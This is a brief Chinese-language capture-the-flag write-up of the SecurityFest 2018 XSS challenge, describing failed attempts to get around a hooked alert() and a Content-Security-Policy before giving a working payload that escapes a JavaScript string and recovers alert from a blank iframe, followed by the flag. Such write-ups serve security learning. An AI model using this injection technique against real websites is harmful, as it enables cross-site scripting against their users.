第一次xss篇

URL:SECURITYFEST_CTF_2018

根据提示here 下一步

inspect it

< a href="/?xss=hello">here

简单的一个get请求,检查dom ”hello” 被输出 和页面有一个:

< script src="/static/no_alert_for_you.js">

hook 掉了alert()

< script>var x ='hello'; var y = `hello`; var z = "hello";

hello 被包裹在这条语句里面。

我习惯性的看了一下返回头

Content-Security-Policy: default-src 'none'; font-src *; style-src *; script-src 'self' 'unsafe-inline' https://ajax.googleapis.com https://maxcdn.bootstrapcdn.com

设置了csp

我开始第一想法用 :

http://xss1.alieni.se:2999/111/..%2f?xss=hello 

Relative Path Overwrite 直接把js导入失败。事实证明并并不行。

google一下 怎么返回被 evil 掉的 window.alert


delete alert

window.alert

没有用

然后看见用iframe,我心里想着csp 中 default-src ‘none’; 应该不行

试试window.open(),发现游览器根本不执行,最后知道是被浏览器禁止了,必须出现在用户交互的事件中才行。 exp : < a herf="#" onclick="window.open()" />

僵住了。。。。

其实我最后才意识到 iframe src 为空 打开的about:blank csp 不影响 确实这样;

payload 如下:


';
m=document.createElement('iframe')
document.body.appendChild(m)
alert=m.contentWindow.alert
alert(1)//

sctf{cr0ss_s1te_n0scr1ptinG}

end